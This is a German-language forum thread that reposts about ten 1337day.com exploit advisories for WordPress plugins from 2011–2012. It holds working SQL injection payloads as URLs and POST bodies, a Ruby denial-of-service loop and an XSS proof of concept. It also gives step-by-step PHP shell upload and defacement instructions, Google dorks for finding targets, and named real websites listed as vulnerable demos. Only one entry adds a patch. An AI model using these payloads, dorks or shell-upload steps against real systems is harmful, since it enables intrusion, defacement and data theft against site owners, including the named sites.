[Sammelthread] WordPress Plugin SQL Injections

WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability

WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability

Zitat

# Exploit Title: WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability
# Date: 2011-10-14
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Plugin Page: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Software Link: http://downloads.wordpress.org/plugin/wp-photo-album-plus.zip
# Version: 4.1.1 (tested)

---------------
PoC (GET data)
---------------
http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1
wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1

e.g.

wget "http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1"

---------------
Vulnerable code
---------------
Line 76 of wppa-functions.php:
if ( $this_occur ) $alb = wppa_get_get('album');
if ( ! $alb && is_numeric($wppa['start_album']) ) $alb = $wppa['start_album'];

$separate = wppa_is_separate($alb);

$slide = ( wppa_get_album_title_linktype($alb) == 'slide' ) ? '&amp;wppa-slide' : '';


Line 3170 of wppa-functions.php:
function wppa_get_get($index, $default = false) {
#xdebug_start_trace('/var/www/xdebug.log');
if (isset($_GET['wppa-'.$index])) { // New syntax first
return $_GET['wppa-'.$index];
}
if (isset($_GET[$index])) { // Old syntax
return $_GET[$index];
}
return $default;
}

Line 3362 of wppa-functions.php:
function wppa_get_album_title_linktype($alb) {
global $wpdb;
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
echo $result;
return $result;
}

---------------
Patch
---------------
*** ./wppa-functions.php 2011-10-03 09:37:48.000000000 -0400
--- ./wppa-functions.php.new 2011-10-15 16:02:27.996945496 -0400
***************
*** 3361,3367 ****

function wppa_get_album_title_linktype($alb) {
global $wpdb;
!
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
//echo $result;
--- 3361,3367 ----

function wppa_get_album_title_linktype($alb) {
global $wpdb;
! $alb=intval($alb);
if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
else $result = '';
//echo $result;
***************
*** 3384,3387 ****
global $wppa;

if ( $wppa['any'] ) echo $wppa['searchresults'];
! }
\ No newline at end of file
--- 3384,3387 ----
global $wppa;

if ( $wppa['any'] ) echo $wppa['searchresults'];
! }

# 1337day.com [2011-10-14]

Alles anzeigen

http://www.1337day.com/exploits/17067

WP-SpamFree WordPress Spam Plugin SQL Injection Vulnerability

WP-SpamFree WordPress Spam Plugin SQL Injection Vulnerability

Zitat

#Exploit Title:[ WordPress wpsf-js plugin, SQL Injection]
#Date: 2011-09-25
#Author: [cheki]
#Version:[3.2.1]
#Tested on:[linux]
#Used: ["sqlmap"]
#SQL Injection
http://<target>/wp-content/plugins/wp-spamfree/js/wpsf-js.php?id=1

#Exploit:id=-1; WAITFOR DELAY '0:0:5';-- or id=-1 AND SLEEP(5)

#[http://<taget>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][CURRENT_USER()

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROM
mysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][MID((VERSION()),1,6)

#Home page: http://hacking.ge/

# 1337day.com [2011-10-11]

Alles anzeigen

http://www.1337day.com/exploits/17053

Dos BP Random Member Widget Plugin WordPress

Zitat

# Exploit Title: Dos BP Random Member Widget Plugin WordPress
# Google Dork: allinurl: ?random-member
# Author: a01001100e@gmail.com
# Software Link: http://wordpress.org/extend/plugins/bp-random-member-widget/
# Version: BP Random Member Widget Version: 1.0
# Tested on: debian 2.6.32-5-686

require 'net/http'
require 'uri'

def fetch(uri_str, limit=0)
raise ArgumentError, 'HTTP redirect too deep' if limit == 0

response = Net::HTTP.get_response(URI.parse(uri_str))
case response
when Net::HTTPSuccess then
print response.code
when Net::HTTPRedirection then
a = response.body
else
response.error!
end
end

print "############################\n"
print "## DOS random-member ##\n"
print "## @author: a01001100e ##\n"
print "############################\n\n\n\n"

while 1 do
begin
t = Thread.new{fetch('http://www.sitio.com/members/?random-member')}
print "."
rescue Exception => msg
print "Error: "
puts msg
end
end

# 1337day.com [2011-10-17]

Alles anzeigen

http://www.1337day.com/exploits/17075

Wordpress Comment Rating plugin Multiple Vulnerabilities

Wordpress Comment Rating plugin Multiple Vulnerabilities

Zitat

# Exploit Title: Wordpress comment rating plugin multiple Vulnerabilities
# Google Dork: 1- inurl:"/wp-content/plugins/comment-rating/"
# 2- inurl:"/ck-processkarma.php?id="
# Date: 2/1/2012
# Author: The Evil Thinker
# Contact : Enstene156@hotmail.fr
# Software Link: http://www.wordpress.com
# Vulnerable plugin: Comment rating plugin
# Tested on: Linux

Details :
---------

the vulnerable file is "ck-processkarma.php"
the script doesn't filter the input parameters (id "sql", path "XSS")

Poc 1 (XSS) :

http://www.TheMilkeyWay.exe/wp-content/plugins/comment-rating/ck-processkarma.php?id=[Integer Value]&action=add&path=<script>alert('Founded by TheEvilThinker')</script>&imgIndex=


Poc 2 (SQL injection) :

http://www.TheMilkeyWay.exe/wp-content/plugins/comment-rating/ck-processkarma.php?id=[Integer Value]*****Inject_me_From_Here*****&action=add&path=TheMilkeyWay.exe/wp-content/plugins/comment-rating/&imgIndex=

-------------------------------------------------------------------------------------------

Special Graetz : Zack (DBA-HACKER) , Siper-N , Root-Mar , Anash , H!ch4m , Dr.Unknown , Mario-Gomez , BiiF0 , o Bla mantawel LLista

# 1337day.com [2012-01-03]

Alles anzeigen

http://www.1337day.com/exploits/17326

WordPress deans with pwwangs code plugin for wordpress (FCKeditor) Remote File Upload

Zitat

#### # Exploit Title: WordPress deans with pwwangs code plugin for wordpress (FCKeditor) Remote File Upload
# Author: T0x!c
# Date : 28/03/2012
# Facebook Page: http://www.facebook.com/DzTem
# E-mail: Malik_99@hotmail.fr
# Category:: webapps
# Google Dork: inurl:"plugins/deans-fckeditor-with-pwwangs-code-plugin-for-wordpress/"
# Download: http://wordpress.org/extend/plugins…-for-wordpress/
# Version: 1.0.0
# Tested on: [Windows Xp]
####

[ Vulnerable File ]

http://127.0.0.1/wp-content/plu…uploadtest.html
or
http://127.0.0.1/wp-content/plu…ctors/test.html

[ Shell ]

http://127.0.0.1/UserFiles/YourFile.txt

# Demo :
http://cougardating.datingease.com/wp-content/plu…pload/test.html
http://www.cereuswomen.com/podcast/wp-con…uploadtest.html
https://scandlearn.com/iphonebeta/wp-…ctors/test.html
http://blog.nextlevelworship.com/wp-content/plugins/deans-fckeditor-with-pwwangs-code-plugin-for-wordpress/fckeditor/editor/filemanager/connectors/test.html#

=================================**AlgeriansHackers**==================================
# Greets To : KedAns-Dz * Caddy-Dz * Kha&miX * Jago-dz * Amine Msd * Kalashinkov *
(exploit-id.com) , (1337day.com) , (dis9.com) , (Dz-Team.biz)
=======================================================================================

# 1337day.com [2012-03-28]

Alles anzeigen

http://www.1337day.com/exploits/17860

Buddypress plugin of Wordpress remote SQL Injection

Zitat

# Exploit Title: Buddypress plugin of Wordpress remote SQL Injection
# Date: March 31, 2012
# Author: Ivan Terkin
# Exploitation: Remote Exploit
# Bug: Remote SQL Injection
# Software Link: buddypress.org
# Version: till 1.5.5
# Tested on: Buddypress 1.5.4


POST /wp-load.php HTTP/1.1
User-Agent: Mozilla
Host: example.com
Accept: */*
Referer: http://example.com/activity/?s=b
Connection: Keep-Alive
Content-Length: 153
Content-Type: application/x-www-form-urlencoded

action=activity_widget_filter&page=1%26exclude%3d1)and(1=0)UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17))%3b--+

Reported to developers and fixed in version 1.5.5

# 1337day.com [2012-03-31]

Alles anzeigen

http://www.1337day.com/exploits/17906

[MOWPOP] Plugin WP-CONTENT In Wordpress Upload Exploitation]

Zitat

##################################################
# Exploit Title: [ [MOWPOP] Plugin WP-CONTENT In Wordpress Upload Exploitation]
# Date: [03-04-2012]
# Author: [ Hacker-Fire ]
# Category:: [ webapps]
# Google dork: [inurl:mowpop]
# Greetz Milw0rm : 1337day.com
# Demo site:
[1-http://www.updatedeinleben.com/wp-content/plu…wpop/submit.php]
[2-http://my-air-conditioner.com/wp-content/plu…wpop/submit.php]
[3-http://jennysweets.com/blog/wp-conten…wpop/submit.php]
# Tested on: [Windows & Linux ]
##################################################

1- Go to a website with the google dork and modify all url (without domain) with "/wp-content/plugins/mowpop/submit.php"

2- Take your Shell.php in text fields.

3- Open Tamper Data or HTTP Live Header.

4- Capture or Alter the upload.

5- Modify the content type with: "image/gif"

6- Drag'n'drop the borken picture obtained in the url bar.

7- Go to the url.

8- Ascend to the index.php with ".." url.

9- Upload your deface or other.

##########################################################
[»] Greetz to :

[ TrOon,Aghilas,r00t_dz,EliteTorjan,Vaga-hacker,xConsole,OverDz ]
[ & -> Th3 Viper,BriscO-Dz,LaMiN Dk, xV!rus , black hool ]
[ And all my Freinds + Algerian Hackers ]

##########################################################

# 1337day.com [2012-04-03]

Alles anzeigen

http://www.1337day.com/exploits/17931

Wordpress taggator plugin Sql Injection Vulnerabilities

Zitat

a bug in Wordpress taggator plugin that allows to us to occur
a Sql Injection on a Remote machin.

########################################################
#
# Exploit Title : Wordpress taggator plugin Sql Injection Vulnerabilities
#
# Author : #BHG Security Center - IrIsT Security Team
#
# Discovered By : Am!r
#
# Home : http://Black-hg.Org - http://IrIsT.Ir
#
# Software Link : http://wordpress.org/extend/plugins/taggator/
#
# Security Risk : High
#
# Version : All Version
#
# Tested on : GNU/Linux Ubuntu - Windows Server - win7
#
# Dork : "Powered by Wordpress"
#
########################################################
#
# Expl0iTs :
#
# [TarGeT]/wp-content/plugins/taggator/taggator.php?tagid=[Sql]
#
#########################################################
#
# Special Thanks To : Net.Edit0r - 3H34N - A.Cr0x - 4M!N - ArYaIeIrAN -
#
# G3n3rall - Mr.XHat - Bl4ck.Viper - Dj.TiniVini - B3Hz4d - Crim3R - d3c0d3r
#
#########################################################
#
# GreetZ : All Active Member in #BHG Security Center & IrIsT.Ir
#
#########################################################

# 1337day.com [2012-04-06]

Alles anzeigen

http://www.1337day.com/exploits/17992

[Wp-insert Wordpress Plugin [FCKeditor] Upload]

Zitat

##################################################
# Exploit Title: [Wp-insert Wordpress Plugin [FCKeditor] Upload]
# Date: [06-04-2012]
# Author: [Hacker-Fire]
# Category:: [ webapps]
# Software Link: [http://wordpress.org/extend/plugins/wp-insert/]
# Google dork: [ /wp-insert/fckeditor/]
# Tested on: [Windows 7 & BT5r2 ]
# Demo site: [http://www.hiphopcongress.com/wp-content/plu…/frmupload.html]
[http://fop95.com/blog/wp-conten…/frmupload.html]
[http://elles.centrepompidou.fr/blog/wp-conten…/frmupload.html]
##################################################

[~] P0c [~] :

Vuln Upload file in :

localhost/PATH/wp-content/plugins/wp-insert/fckeditor/editor/filemanager/browser/default/frmupload.html

Upload Your Shell : php;gif & Enjoy .

##########################################################
[»] Greetz to :

[ TrOon,Aghilas,r00t_dz,EliteTorjan,Vaga-hacker,xConsole,OverDz ]
[ & -> Th3 Viper,BriscO-Dz,LaMiN Dk, xV!rus , black hool ]
[ And all my Freinds + Algerian Hackers ]

##########################################################

# 1337day.com [2012-04-07]

Alles anzeigen

http://www.1337day.com/exploits/17994

Email Before Download <=3.16 Remote Blind SQL Inyection

Zitat

# Wordpress Plugin: Email Before Download <=3.16 Remote Blind SQL Inyection
# Dork: allinurl: plugins/email-before-download
# Download: https://wordpress.org/extend/plugins/email-before-download/
# Date: 13/04/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# http://www.localh0t.com.ar

The variable $download_id is not properly sanitized with $wpdb->escape() before using it.

On line 120 (File: /email-before-download/email-before-download.php) we can see that:
=====================================================================================

120: $ebd_item = $wpdb->get_row( "SELECT * FROM $table_item WHERE download_id = '$download_id' " );

In the HTML generated, we can see that $download_id takes the $_POST value variable "_wpcf7_download_id" :

201: $hf .= '<input type="hidden" name="_wpcf7_download_id" value="' . $download_id. '" /></form>';

PoC:
====

POST http://website.com/?tag=some-post-with-contact-form

Data:
=====
_wpcf7=135&_wpcf7_download_id=6 [SQL HERE]&_wpcf7_unit_tag=wpcf7-f105-p1635-o1&_wpcf7_version=3.0.1&your-email=email@sample.com&your-enterprise=1&your-name=test

Example:
========
_wpcf7=135&_wpcf7_download_id=6 and sleep(10)&_wpcf7_unit_tag=wpcf7-f105-p1635-o1&_wpcf7_version=3.0.1&your-email=email@sample.com&your-enterprise=1&your-name=test

(POST variables names may vary)

# 1337day.com [2012-04-13]

Alles anzeigen

http://www.1337day.com/exploits/18049